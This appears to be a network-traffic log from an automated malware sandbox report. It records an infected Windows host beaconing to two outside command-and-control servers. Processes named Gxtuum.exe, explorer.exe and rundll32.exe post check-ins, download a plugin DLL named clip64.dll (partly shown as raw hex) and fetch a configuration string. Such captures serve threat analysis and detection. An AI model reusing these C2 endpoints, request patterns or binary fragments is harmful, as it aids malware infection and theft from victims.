Dec 13, 2024 08:20:07.277226925 CET	1236	IN	Data Raw: 00 00 00 48 89 90 c8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 48 89 90 e8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 48 89 90 08 01 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 48 89 90 28 Data Ascii: HHHHHHHHH H(H8H@HHHXH`HhHxHHHHHHHHHHHHH
Dec 13, 2024 08:20:07.277237892 CET	1236	IN	Data Raw: 0f 00 e9 0c cb 0c 00 cc cc cc cc 48 8d 0d 29 a6 0f 00 e9 fc ca 0c 00 cc cc cc cc 48 8d 0d d9 a7 0f 00 e9 ec ca 0c 00 cc cc cc cc 48 8d 0d 59 a7 0f 00 e9 dc ca 0c 00 cc cc cc cc 48 8d 0d 29 a8 0f 00 e9 cc ca 0c 00 cc cc cc cc 48 8d 0d 89 a8 0f 00 Data Ascii: H)HHYH)HHHIHH(HHH(lHQ`HTH(HlHH(4HY(
Dec 13, 2024 08:20:07.277251005 CET	1236	IN	Data Raw: 00 00 8b 43 28 41 8b f6 44 89 74 24 30 85 c0 7e 35 49 8b fe 0f 1f 00 48 8b 43 20 48 8b 4c 38 08 48 85 c9 74 14 44 38 71 11 74 0e ff 41 14 44 38 71 12 75 05 e8 3e 58 01 00 8b 43 28 ff c6 48 83 c7 20 3b f0 7c d1 48 8d 4c 24 30 45 8b fe 48 89 8b 20 Data Ascii: C(ADt$0~5IHC HL8HtD8qtAD8qu>XC(H ;\|HL$0EH IHC Ht(H }FTF<F$FL$0HN}D$0HNH}D$0HN0}D$0HN`}D$0H~@HtHWHH?HuH~H
Dec 13, 2024 08:20:07.397280931 CET	1236	IN	Data Raw: 5e ca eb 04 89 7c 24 60 8b 44 24 64 66 0f 6e 44 24 60 89 46 14 8b 44 24 68 f3 0f e6 c0 66 c7 46 29 01 00 89 46 18 f2 0f 58 c1 f2 0f 11 46 20 0f b6 03 42 f6 04 30 01 74 18 66 66 0f 1f 84 00 00 00 00 00 0f b6 43 01 48 ff c3 42 f6 04 30 01 75 f2 89 Data Ascii: ^\|$`D$dfnD$`FD$hfF)FXF B0tffCHB0u~-u+ukHD$pAHD$PHKH\|$HHD$lD$@;E3H\|$8AQD$0HD$(D$ :zu[kD$l<HD$pFAt&HB0t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	49937	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:05.963071108 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:07.282926083 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	49939	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:05.963198900 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:07.300534010 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	49943	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:07.493771076 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:07.614911079 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:08.942172050 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	49946	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:08.967019081 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:10.326481104 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	49947	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:09.006803036 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:10.326508999 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	49948	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:09.182720900 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:09.302799940 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:10.785655975 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	49952	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:11.025093079 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:11.145339012 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:12.462105036 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	49958	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:12.556629896 CET	66	OUT	GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1 Host: 185.81.68.147
Dec 13, 2024 08:20:13.878407955 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 18:53:40 GMT ETag: "1f000-629173b87b500" Accept-Ranges: bytes Content-Length: 126976 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 84 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$P@@@~@RichPELZg!Dbp`0@P8@`L.textCD `.rdata*u`vH@@.data@.rsrc@@.reloc@B
Dec 13, 2024 08:20:13.878423929 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 20 68 98 ae 01 10 b9 60 e8 01 10 e8 7f 4d 00 00 68 70 29 01 Data Ascii: j h`Mhp)ZYj hx_Mh)ZYjh?Mh0ZYj hMhZYjhLh*jZYjh
Dec 13, 2024 08:20:13.878631115 CET	1236	IN	Data Raw: 24 af 01 10 b9 d8 e8 01 10 e8 df 4c 00 00 68 50 2b 01 10 e8 4a 5a 00 00 59 c3 cc cc cc 6a 14 68 44 af 01 10 b9 f0 e8 01 10 e8 bf 4c 00 00 68 b0 2b 01 10 e8 2a 5a 00 00 59 c3 cc cc cc 6a 20 68 5c af 01 10 b9 08 e9 01 10 e8 9f 4c 00 00 68 10 2c 01 Data Ascii: $LhP+JZYjhDLh+*ZYj h\Lh,ZYjh} Lhp,YYjh}8_Lh,YYjhP?Lh0-YYjhhLh-YYjhKh-
Dec 13, 2024 08:20:13.878644943 CET	1236	IN	Data Raw: 8a 55 00 00 59 c3 cc cc cc 6a 00 68 7d af 01 10 b9 80 ec 01 10 e8 ff 47 00 00 68 f0 39 01 10 e8 6a 55 00 00 59 c3 cc cc cc 6a 0c 68 e0 b2 01 10 b9 98 ec 01 10 e8 df 47 00 00 68 50 3a 01 10 e8 4a 55 00 00 59 c3 cc cc cc 6a 14 68 f0 b2 01 10 b9 b0 Data Ascii: UYjh}Gh9jUYjhGhP:JUYjhGh:*UYjhGh;UYjhGhp;TYjLhX_Gh;TYjh?Gh0<TYjdh(
Dec 13, 2024 08:20:13.878715038 CET	1236	IN	Data Raw: 10 e8 3f 43 00 00 68 30 48 01 10 e8 aa 50 00 00 59 c3 cc cc cc 6a 0c 68 0c b7 01 10 b9 28 f0 01 10 e8 1f 43 00 00 68 90 48 01 10 e8 8a 50 00 00 59 c3 cc cc cc 6a 34 68 1c b7 01 10 b9 40 f0 01 10 e8 ff 42 00 00 68 f0 48 01 10 e8 6a 50 00 00 59 c3 Data Ascii: ?Ch0HPYjh(ChHPYj4h@BhHjPYj(hTXBhPIJPYjhpBhI*PYj<hBhJPYj0hBhpJOYjh_BhJOY
Dec 13, 2024 08:20:13.878729105 CET	1236	IN	Data Raw: 05 00 00 83 7d 30 00 0f 84 02 05 00 00 83 7d 48 00 0f 84 f8 04 00 00 c7 85 d8 fb ff ff 00 00 00 00 c7 85 e8 fb ff ff 00 00 00 00 c7 85 ec fb ff ff 0f 00 00 00 c6 85 d8 fb ff ff 00 c6 45 fc 03 8d 8d c0 fb ff ff 6a 2f c7 85 c0 fb ff ff 00 00 00 00 Data Ascii: }0}HEj/h$=jjjjhTE0a}jjjjjECEjPPQ4a}4jjjjjE CE PhXQ8a}LM8uHCM8
Dec 13, 2024 08:20:13.878916979 CET	1236	IN	Data Raw: 00 00 00 c6 45 20 00 83 fa 10 0f 82 cf 00 00 00 8b 4d 38 42 8b c1 81 fa 00 10 00 00 0f 82 b3 00 00 00 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 c6 00 00 00 e9 9a 00 00 00 6a 00 c7 07 00 00 00 00 8b cf c7 47 10 00 00 00 00 c7 47 14 0f 00 00 Data Ascii: E M8BI#+jGGh}=9Ur(MBrI#+wvRQCU4EEEDM B(I#+w,RQBMdY_^M3
Dec 13, 2024 08:20:13.878930092 CET	1236	IN	Data Raw: 00 00 c6 45 ac 00 83 fa 10 72 28 8b 4d c8 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 38 52 51 e8 a8 3e 00 00 83 c4 08 a1 34 f2 01 10 46 8b 15 20 f2 01 10 e9 a6 fe ff ff 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f Data Ascii: Er(MBrI#+w8RQ>4F MdY_^M3m>]pUjh$dPSVW3PEdEEEEE }4u0CE P4}EuCEP353=fD
Dec 13, 2024 08:20:13.878942013 CET	1236	IN	Data Raw: 75 2d 8b 4f 14 8b c7 83 f9 10 72 02 8b 07 80 3c 30 20 74 1b 8b c7 83 f9 10 72 02 8b 07 83 7b 14 10 8b cb 72 02 8b 0b 8a 04 30 e9 cc 00 00 00 83 7f 14 10 89 7d f8 72 05 8b 07 89 45 f8 8b 1d 48 f2 01 10 33 d2 8b 0d 4c f2 01 10 85 db 74 2b 8b 45 f8 Data Ascii: u-Or<0 tr{r0}rEH3Lt+E0E]8C88HtB;rExr3t715LMf]8C88Ht@;r=L8C58+3]{r
Dec 13, 2024 08:20:13.878954887 CET	1236	IN	Data Raw: 87 84 01 00 00 52 51 e8 24 35 00 00 83 c4 08 0f 10 4d bc 83 7d 1c 10 8d 55 08 f3 0f 7e 45 cc 8d 45 d8 0f 43 55 08 83 7d d0 10 8b 75 cc 66 0f 7e c9 0f 11 4d d8 0f 43 c1 66 0f d6 45 e8 8b 4d 18 89 4d d4 3b f1 75 61 83 ee 04 72 16 0f 1f 44 00 00 8b Data Ascii: RQ$5M}U~EECU}uf~MCfEMM;uarD;ust4:u't)H:JutH:Jut@:Bt3ME0Gu;3Ur/MFrI#+VQF4UE
Dec 13, 2024 08:20:13.998455048 CET	1236	IN	Data Raw: 8b 4d f0 33 cd e8 44 30 00 00 8b e5 5d c3 e8 86 62 00 00 e8 75 27 00 00 cc cc cc cc cc 55 8b ec 6a ff 68 2d 26 01 10 64 a1 00 00 00 00 50 53 56 57 a1 08 e0 01 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 ba 7d af 01 10 c7 45 fc 00 00 00 00 8d 4d 08 e8 Data Ascii: M3D0]bu'Ujh-&dPSVW3PEd}EM(\|E@Pl5M}CM+IDuNFu+FVj`VSW`PjZW`j(aaWja aUr(MBrI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	49959	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:12.556843042 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:13.893122911 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	49960	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:12.556938887 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:13.893367052 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	49961	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:12.694921970 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:12.815011978 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:14.136831045 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.11	49964	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:14.367285967 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:14.487015009 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:15.986763954 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.11	49968	185.81.68.147	80	6040	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:15.128679991 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 13, 2024 08:20:16.425815105 CET	711	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 38 30 66 39 36 39 30 35 37 32 65 31 39 38 36 31 38 62 31 39 62 61 33 64 32 34 61 64 64 37 63 39 36 61 66 39 65 62 38 35 65 32 38 35 37 35 62 62 65 39 65 64 64 35 63 62 64 33 63 64 61 32 64 66 33 36 2d 31 2d 5f 32 5f 64 62 63 63 63 65 36 31 35 62 37 61 66 35 66 62 35 63 38 66 37 33 63 65 36 61 37 30 39 39 61 65 39 34 36 39 39 64 61 34 64 37 62 30 63 30 33 36 61 66 61 61 62 63 64 65 61 62 38 30 38 38 65 36 62 39 37 37 33 34 64 38 62 33 35 62 33 63 64 30 39 31 38 65 2d 32 2d 5f 33 5f 61 37 65 35 39 35 32 31 30 35 35 64 65 39 62 38 34 38 63 65 30 31 62 65 36 32 37 61 39 61 65 38 64 38 31 66 65 34 63 36 64 33 66 64 62 35 36 63 61 39 65 65 63 66 62 36 64 63 63 33 65 33 38 35 64 64 30 39 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_da80f9690572e198618b19ba3d24add7c96af9eb85e28575bbe9edd5cbd3cda2df36-1-_2_dbccce615b7af5fb5c8f73ce6a7099ae94699da4d7b0c036afaabcdeab8088e6b97734d8b35b3cd0918e-2-_3_a7e59521055de9b848ce01be627a9ae8d81fe4c6d3fdb56ca9eecfb6dcc3e385dd09-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.11	49969	185.81.68.147	80	5544	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:15.364738941 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 13, 2024 08:20:16.736834049 CET	711	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:15 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 38 30 66 39 36 39 30 35 37 32 65 31 39 38 36 31 38 62 31 39 62 61 33 64 32 34 61 64 64 37 63 39 36 61 66 39 65 62 38 35 65 32 38 35 37 35 62 62 65 39 65 64 64 35 63 62 64 33 63 64 61 32 64 66 33 36 2d 31 2d 5f 32 5f 64 62 63 63 63 65 36 31 35 62 37 61 66 35 66 62 35 63 38 66 37 33 63 65 36 61 37 30 39 39 61 65 39 34 36 39 39 64 61 34 64 37 62 30 63 30 33 36 61 66 61 61 62 63 64 65 61 62 38 30 38 38 65 36 62 39 37 37 33 34 64 38 62 33 35 62 33 63 64 30 39 31 38 65 2d 32 2d 5f 33 5f 61 37 65 35 39 35 32 31 30 35 35 64 65 39 62 38 34 38 63 65 30 31 62 65 36 32 37 61 39 61 65 38 64 38 31 66 65 34 63 36 64 33 66 64 62 35 36 63 61 39 65 65 63 66 62 36 64 63 63 33 65 33 38 35 64 64 30 39 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_da80f9690572e198618b19ba3d24add7c96af9eb85e28575bbe9edd5cbd3cda2df36-1-_2_dbccce615b7af5fb5c8f73ce6a7099ae94699da4d7b0c036afaabcdeab8088e6b97734d8b35b3cd0918e-2-_3_a7e59521055de9b848ce01be627a9ae8d81fe4c6d3fdb56ca9eecfb6dcc3e385dd09-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.11	49970	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:15.628570080 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
